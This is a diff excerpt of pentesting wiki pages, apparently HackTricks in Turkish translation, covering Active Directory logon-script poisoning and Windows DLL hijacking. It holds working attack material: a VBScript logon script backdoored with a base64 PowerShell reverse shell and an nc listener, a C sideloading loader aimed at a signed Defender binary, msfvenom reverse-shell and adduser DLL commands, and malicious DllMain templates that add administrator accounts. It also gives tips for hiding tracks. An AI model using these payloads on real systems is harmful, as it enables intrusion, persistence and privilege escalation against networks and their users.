# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
```
- BloodHound, kullanıcı düğümlerinde mevcut olduğunda `logonScript` (scriptPath) özniteliğini görüntüler.
### Yazma erişimini doğrulayın (paylaşım listelerine güvenmeyin)
Otomatik araçlar SYSVOL/NETLOGON'u salt okunur gösteriyor olabilir, ancak alttaki NTFS ACLs yine de yazmaya izin verebilir. Her zaman test edin:
```bash
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
```
Dosya boyutu veya mtime değişiyorsa yazma izniniz var. Değiştirmeden önce orijinalleri saklayın.
### Poison a VBScript logon script for RCE
PowerShell reverse shell (revshells.com üzerinden oluşturun) başlatan bir komut ekleyin ve işlevi bozmamak için orijinal mantığı koruyun:
```vb
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
```
Host üzerinde dinleyin ve bir sonraki interactive logon'u bekleyin:
```bash
rlwrap -cAr nc -lnvp 443
```
Notlar:
- Çalıştırma, oturum açan kullanıcının token'ı altında gerçekleşir (not SYSTEM). Kapsam, bu script'i uygulayan GPO bağlantısıdır (OU, site, domain).
- Kullanım sonrası orijinal içerik/zaman damgalarını geri yükleyerek temizleyin.
## Referanslar
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
@ -187,5 +284,9 @@ Dahası, kod çalıştırma veya kalıcılığı sürdürme için logon/logoff s
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [BloodyAD AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
- [Samba net rpc (group membership)](https://www.samba.org/)
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,320 +0,0 @@
# Dll Hijacking
{{#include ../../banners/hacktricks-training.md}}
## Temel Bilgiler
DLL Hijacking, güvenilen bir uygulamanın kötü amaçlı bir DLL yüklemesi için manipüle edilmesini içerir. Bu terim, **DLL Spoofing, Injection ve Side-Loading** gibi birkaç taktiği kapsar. Genellikle kod yürütme, kalıcılık sağlama ve daha az yaygın olarak ayrıcalık yükseltme için kullanılır. Burada odak noktası yükseltme olsa da, hijack yöntemi hedef ne olursa olsun aynıdır.
### Yaygın Teknikler
DLL hijack için uygulamanın DLL yükleme stratejisine bağlı olarak farklı etkinliklere sahip birkaç yöntem kullanılır:
1. **DLL Replacement**: Gerçek bir DLL'in kötü amaçlı olanla değiştirilmesi; isteğe bağlı olarak orijinal DLL işlevselliğini korumak için DLL Proxying kullanılır.
2. **DLL Search Order Hijacking**: Kötü amaçlı DLL'i, uygulamanın arama modelini kötüye kullanarak meşru olandan önce aranacak bir yola yerleştirme.
3. **Phantom DLL Hijacking**: Uygulamanın, mevcut olmayan bir gereken DLL olduğunu düşünerek yükleyeceği kötü amaçlı bir DLL oluşturma.
4. **DLL Redirection**: Uygulamanın kötü amaçlı DLL'e yönlendirilmesi için %PATH% veya .exe.manifest / .exe.local dosyaları gibi arama parametrelerini değiştirme.
5. **WinSxS DLL Replacement**: Gerçek DLL'i WinSxS dizininde kötü amaçlı bir karşılıkla değiştirme; bu yöntem genellikle DLL side-loading ile ilişkilidir.
6. **Relative Path DLL Hijacking**: Kötü amaçlı DLL'i, kopyalanmış uygulama ile birlikte kullanıcı kontrollü bir dizine yerleştirerek Binary Proxy Execution tekniklerine benzeyen bir yaklaşım.
## Eksik Dll'leri Bulma
Bir sistemde eksik Dll'leri bulmanın en yaygın yolu, sysinternals'tan [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) çalıştırmak ve **şağıdaki 2 filtreyi** **ayarlamaktır**:
![](<../../images/image (311).png>)
![](<../../images/image (313).png>)
ve sadece **File System Activity** gösterin:
![](<../../images/image (314).png>)
Eğer **genel olarak eksik dll'ler** arıyorsanız, bunu birkaç **saniye** çalışır bırakın.\
Eğer belirli bir yürütülebilir dosya içinde **eksik bir dll** arıyorsanız, **"Process Name" "contains" "\<exec name>"** gibi başka bir filtre ayarlayıp, onu çalıştırmalı ve olay yakalamayı durdurmalısınız.
## Eksik Dll'lerin İstismarı
Ayrıcalıkları yükseltmek için en iyi şansımız, ayrıcalıklı bir sürecin yüklemeye çalışacağı bir **dll yazabilmektir** ve bunu **dll'in aranacağı bazı yerlerden birine** yazabilmektir. Bu nedenle, dll'in orijinalinin bulunduğu klasörden **önce aranacağı** bir klasöre dll yazabilme (nadir durum), ya da dll'in herhangi bir klasörde orijinali bulunmadan aranacağı bir klasöre yazabilme şansımız olmalıdır.
### Dll Arama Sırası
**[Microsoft documentation](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)** içinde Dll'lerin nasıl yüklendiğini spesifik olarak bulabilirsiniz.
Windows uygulamaları DLL'leri, önceden tanımlanmış bir dizi arama yolunu takip ederek ve belirli bir sıraya uyarak arar. DLL hijacking sorunu, zararlı bir DLL'in bu dizinlerden birine stratejik olarak yerleştirilmesiyle ortaya çıkar; böylece meşru DLL'den önce yüklenmesi sağlanır. Bunu önlemenin bir çözümü, uygulamanın ihtiyaç duyduğu DLL'lere başvururken mutlak yollar kullanmasını sağlamaktır.
Aşağıda 32-bit sistemlerdeki **DLL arama sırasını** görebilirsiniz:
1. Uygulamanın yüklendiği dizin.
2. Sistem dizini. Bu dizinin yolunu almak için [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) fonksiyonunu kullanın. (_C:\Windows\System32_)
3. 16-bit sistem dizini. Bu dizinin yolunu elde eden bir fonksiyon yoktur ama aranmaktadır. (_C:\Windows\System_)
4. Windows dizini. Bu dizinin yolunu almak için [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) fonksiyonunu kullanın.
1. (_C:\Windows_)
5. Geçerli dizin.
6. PATH ortam değişkeninde listelenen dizinler. Bunun, **App Paths** kayıt anahtarıyla belirtilen uygulama başına yol dahil olmadığını unutmayın. DLL arama yolu hesaplanırken **App Paths** anahtarı kullanılmaz.
Bu, **SafeDllSearchMode** etkinleştirilmiş varsayılan arama sırasıdır. Bu özellik devre dışı bırakıldığında geçerli dizin ikinci sıraya yükselir. Bu özelliği devre dışı bırakmak için **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** kayıt değerini oluşturun ve 0 olarak ayarlayın (varsayılan olarak etkin).
Eğer [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) fonksiyonu **LOAD_WITH_ALTERED_SEARCH_PATH** ile çağrılırsa, arama **LoadLibraryEx**'in yüklemekte olduğu yürütülebilir modülün dizininde başlar.
Son olarak, bir dll yalnızca adını belirterek değil mutlak yol belirterek de yüklenebilir. Bu durumda o dll **sadece belirtilen yolda aranacaktır** (eğer dll'in bağımlılıkları varsa, onlar sadece adla yüklenmiş gibi aranacaktır).
Arama sırasını değiştirebilecek başka yollar da vardır ancak onları burada açıklamayacağım.
### RTL_USER_PROCESS_PARAMETERS.DllPath ile sideloading'i zorlamak
Yeni oluşturulan bir sürecin DLL arama yolunu deterministik olarak etkilemenin gelişmiş bir yolu, ntdll'in native API'leri ile süreci oluştururken RTL_USER_PROCESS_PARAMETERS içindeki DllPath alanını ayarlamaktır. Buraya saldırgan kontrollü bir dizin vererek, hedef süreç bir DLL'i adla çözümlüyorsa (mutlak yol değil ve safe loading bayrakları kullanılmıyorsa), yükleyici o dizinden kötü amaçlı bir DLL yüklemeye zorlanabilir.
Temel fikir
- Süreç parametrelerini RtlCreateProcessParametersEx ile oluşturun ve kontrolünüzdeki klasöre işaret eden özel bir DllPath sağlayın (ör. dropper/unpacker'ınızın bulunduğu dizin).
- Süreci RtlCreateUserProcess ile oluşturun. Hedef ikili bir DLL'i adla çözümlerken, yükleyici çözümleme sırasında sağlanan bu DllPath'e başvuracak ve kötü amaçlı DLL hedef EXE ile aynı yerde olmasa bile güvenilir sideloading yapılmasına olanak verecektir.
Notlar/sınırlamalar
- Bu oluşturulan alt süreci etkiler; SetDllDirectory'den farklıdır, çünkü SetDllDirectory yalnızca mevcut süreci etkiler.
- Hedef, bir DLL'i adla import etmeli veya LoadLibrary ile adla yüklemelidir (mutlak yol olmamalı ve LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories kullanılmamalıdır).
- KnownDLLs ve sabit (hardcoded) mutlak yollar hijack edilemez. Forwarded exports ve SxS önceliği değiştirebilir.
Minimal C örneği (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
Operational usage example
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attackers DLL from a staging directory.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
### Escalating Privileges
**Gereksinimler**:
- Farklı ayrıcalıklar (yatay veya lateral hareket) altında çalışan veya çalışacak ve **DLL eksikliği olan** bir süreci belirleyin.
- **DLL**'in aranacağı herhangi bir **dizin** için **yazma izninin** mevcut olduğundan emin olun. Bu konum yürütülebilir dosyanın dizini veya system path içindeki bir dizin olabilir.
Evet, gereksinimleri bulmak zordur çünkü **varsayılan olarak ayrıcalıklı bir yürütülebilirin DLL eksikliği olması tuhaftır** ve bir system path klasöründe **yazma iznine sahip olmak daha da tuhaftır** (varsayılan olarak sahip olamazsınız). Ancak yanlış yapılandırılmış ortamlarda bu mümkün olabilir.\
Eğer şanslıysanız ve gereksinimleri karşılıyorsanız, [UACME](https://github.com/hfiref0x/UACME) projesine bakabilirsiniz. Projenin **ana amacı UAC'i bypass etmek** olsa da, kullanabileceğiniz Windows sürümü için bir **PoC** of a Dll hijaking bulabilirsiniz (muhtemelen sadece yazma izniniz olan klasörün yolunu değiştirerek).
Note that you can **check your permissions in a folder** doing:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
Ve **PATH içindeki tüm klasörlerin izinlerini kontrol edin**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
Ayrıca bir executable'ın imports'larını ve bir dll'in exports'larını şu şekilde kontrol edebilirsiniz:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
Tam bir kılavuz için, yazma iznine sahip olduğunuz bir **System PATH klasöründe** **Dll Hijacking'i ayrıcalık yükseltmek için nasıl kötüye kullanacağınızı** görmek için şu kaynağa bakın:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### Otomatik araçlar
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sistem PATH içindeki herhangi bir klasörde yazma izniniz olup olmadığını kontrol eder.\
Bu zafiyeti keşfetmek için diğer ilginç otomatik araçlar **PowerSploit fonksiyonları**dır: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ ve _Write-HijackDll._
### Örnek
Eğer exploitable bir senaryo bulursanız, bunu başarılı şekilde sömürmenin en önemli unsurlarından biri, **en azından executable'ın ondan içe aktaracağı tüm fonksiyonları dışa aktaran bir dll oluşturmak** olacaktır. Her durumda, Dll Hijacking'in [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) veya [**High Integrity to SYSTEM**](#from-high-integrity-to-system) için kullanışlı olduğunu unutmayın. Geçerli bir dll'in **nasıl oluşturulacağına** dair bir örneği bu dll hijacking çalışmasında bulabilirsiniz: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
Ayrıca, **son bölü**mde bazı **temel dll kodları** bulabilirsiniz; bunlar **şablonlar** olarak veya **gerekmeyen fonksiyonları dışa aktaran bir dll** oluşturmak için faydalı olabilir.
## **Dll Oluşturma ve Derleme**
### **Dll Proxifying**
Temelde bir **Dll proxy**, yüklendiğinde **kötü amaçlı kodunuzu çalıştırabilen** ancak aynı zamanda **tüm çağrıları gerçek kütüphaneye ileterek** **beklendiği gibi çalışabilen** bir Dll'dir.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) veya [**Spartacus**](https://github.com/Accenture/Spartacus) aracıyla aslında **bir executable belirtebilir ve proxify etmek istediğiniz kütüphaneyi seçebilir**, ardından **bir proxified dll üretebilir** ya da **Dll'i belirterek** **bir proxified dll üretebilirsiniz**.
### **Meterpreter**
**Get rev shell (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Bir meterpreter (x86) edinin:**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Bir kullanıcı oluştur (x86 — x64 sürümünü görmedim):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Your own
Birçok durumda derlediğiniz Dll'in hedef süreç tarafından yüklenecek birkaç fonksiyonu **export several functions** sağlaması gerektiğini unutmayın; bu fonksiyonlar mevcut değilse **binary won't be able to load** ve **exploit will fail**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
```c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
```
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
```
```c
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
```
## Referanslar
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}}